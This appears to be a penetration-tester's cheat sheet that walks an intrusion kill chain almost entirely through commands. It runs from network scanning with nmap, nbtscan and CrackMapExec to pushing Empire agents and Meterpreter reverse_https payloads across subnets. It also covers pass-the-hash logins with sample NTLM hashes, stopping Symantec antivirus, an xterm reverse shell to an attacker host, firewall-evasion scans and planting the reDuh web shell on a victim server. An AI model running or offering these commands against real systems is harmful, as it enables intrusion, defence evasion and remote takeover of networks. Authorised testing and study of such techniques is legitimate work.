Intrusion Kill Chain

KillChain

Mapping the Network

RunFinger.py

Gather information about the Domain name and windows machine running in the network

bash$ cd /usr/share/Responder/tools
bash$ sudo python RunFinger.py -i 192.168.1.1/24

or

bash$ responder-RunFinger

Nbtscan

Scanning IP networks for NetBIOS name information.

bash$ sudo nbtscan -v -s : 192.168.1.0/24

Crackmapexec v 4.0

Scan the network range based on the SMB information

bash
bash$ cme smb 192.168.1.1/24

Nmap scan

Scan all the machine network and save the outputs . * -oA options : Means output with all format * -T4 : Fast scan

Fast Scan

bash
bash$ nmap -p 1-65535 -sV -sS -T4 -oA output target_IP  
Intensive Scan (Note recommended):
bash
bash$ nmap -p 1-65535 -Pn -A -oA output target_IP 
Scan with enumeration of the running services version : * -sC : Safe Scan * -sV : Get the service version
bash
bash$ nmap -sC -sV -oA output target

Angry IP scanner

Crackmapexec to Empire agent

First setup an Empire listener: ``` (Empire: listeners) > set Name test (Empire: listeners) > set Host 192.168.10.3 (Empire: listeners) > set Port 9090 (Empire: listeners) > set CertPath data/empire.pem (Empire: listeners) > run (Empire: listeners) > list

[*] Active listeners:

ID Name Host Type Delay/Jitter KillDate Redirect Target


1 test http://192.168.10.3:9090 native 5/0.0

(Empire: listeners) > ```

Start up Empire's RESTful API server: ```

~ python empire --rest --user empireadmin --pass Password123!

[*] Loading modules from: /home/byt3bl33d3r/Tools/Empire/lib/modules/ * Starting Empire RESTful API on port: 1337 * RESTful API token: l5l051eqiqe70c75dis68qjheg7b19di7n8auzml * Running on https://0.0.0.0:1337/ (Press CTRL+C to quit)

The username and password that CME uses to authenticate to Empire's RESTful API are stored in the cme.conf file located at ~/.cme/cme.conf:
[Empire] apihost=127.0.0.1 apiport=1337 username=empireadmin password=Password123!

[Metasploit] rpchost=127.0.0.1 rpcport=55552 password=abc123

Then just run the empire_exec module and specify the listener name:

~ crackmapexec 192.168.10.0/24 -u username -p password -M empire_exec -o LISTENER=test

# Crackmapexec to Meterpreter
We can use the metinject module to directly inject meterpreter into memory using PowerSploit's Invoke-Shellcode.ps1 script.

First setup your handler:

msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reversehttps payload => windows/meterpreter/reversehttps msf exploit(handler) > set LHOST 192.168.10.3 LHOST => 192.168.10.3 msf exploit(handler) > set exitonsession false exitonsession => false msf exploit(handler) > exploit -j [*] Exploit running as background job.

[] Started HTTPS reverse handler on https://192.168.10.3:8443 msf exploit(handler) > [] Starting the payload handler...

Then just run the metinject module and specify the LHOST and LPORT values:

~ crackmapexec 192.168.10.0/24 -u username -p password -M metinject -o LHOST=192.168.1

# Passing shell from Empire to Meterpreter metasploit 

metasploit listner options

msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reversehttp payload => windows/meterpreter/reversehttp msf exploit(handler) > set lhost 192.168.1.110 lhost => 192.168.1.110 msf exploit(handler) > set lport 2286 lport => 2286 msf exploit(handler) > set ExitOnSession false ExitOnSession => false msf exploit(handler) > set SessionCommunicationTimeout 0 SessionCommunicationTimeout => 0 msf exploit(handler) > exploit -j ```

Setup Empire to send the agent to Metasploit

use module code_execution/shellcode_inject
set Host 
set Port 
execute

DeathStar

# Start the Empire console and RESTful API
python empire --rest --username empireadmin --password Password123

Then grab, setup and run DeathStar: ``` git clone https://github.com/byt3bl33d3r/DeathStar

Death Star is written in Python3

pip3 install -r requirements.txt ./DeathStar.py ```

Symantec AV Bypass

During our latest pentest, we faced shitty AV problem since we couldn't get any meterpreter session with psexec cuz of Symatec AV, So we would like to share our solution for this problem:
First We Need to connect with the local admin as system using pth (local hash extracted with bkhive and samdump2)

$./pth-winexe -U DOMAIN.COM/USERNAME%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //10.0.42.154 cmd --system

Then let's Stop the AV Service

cd "C:\Program Files\Symantec\Symantec Endpoint Protection" smc.exe -stop

Nice now we got rid of the AV, however our payload and IP was still blocked since they use an IPS so we used a reverse_https listener and psexec_psh to bypass it: [email protected]:~$ msfconsole use exploit/windows/smb/psexec_psh set payload windows/meterpreter/reverse_https set StageEncoder x86/shikata_ga_nai set EnableStageEncoding true set SMBUSER USERNAME set SMBPASS cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb set lhost IP set lport 443 exploit -j and BOOM :D Server username: NT AUTHORITY\SYSTEM Enjoy your Session

XTERM Reverse Shell

# Start an open X Server on your system (:1 – which listens on TCP port 6001)
apt-get install xnest
Xnest :1

Then remember to authorise on your system the target IP to connect to you

xterm -display 127.0.0.1:1

Run this INSIDE the spawned xterm on the open X Server

xhost +targetip

Then on the target connect back to the your X Server

xterm -display attackerip:1 /usr/openwin/bin/xterm -display attackerip:1 or $ DISPLAY=attackerip:0 xterm

Nmap – Techniques for Avoiding Firewalls

# fragmentation
$ nmap -f

change default MTU size number must be a multiple of 8 (8,16,24,32 etc)

Generates a random number of decoys

$ nmap -D RND:10 [target]

Manually specify the IP addresses of the decoys

$ nmap -D decoy1,decoy2,decoy3 etc.

Idle Zombie Scan, first t need to find zombie ip

$ nmap -sI [Zombie IP] [Target IP]

Source port number specification

$ nmap --source-port 80 IP

Append Random Data to scan packages

$ nmap --data-length 25 IP

Create a TCP circuit through validly formed HTTP requests with ReDuh

# https://github.com/sensepost/reDuh

step 1

upload reDuh.jsp to victim server

$ http://192.168.10.50/uploads/reDuh.jsp

step 2

run reDuhClient on attacker

$ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp

step 3

connecting to management port with nc

$ nc -nvv 127.0.0.1 1010

step 4

forward localport to remote port with tunnel

[createTunnel] 7777:172.16.0.4:3389
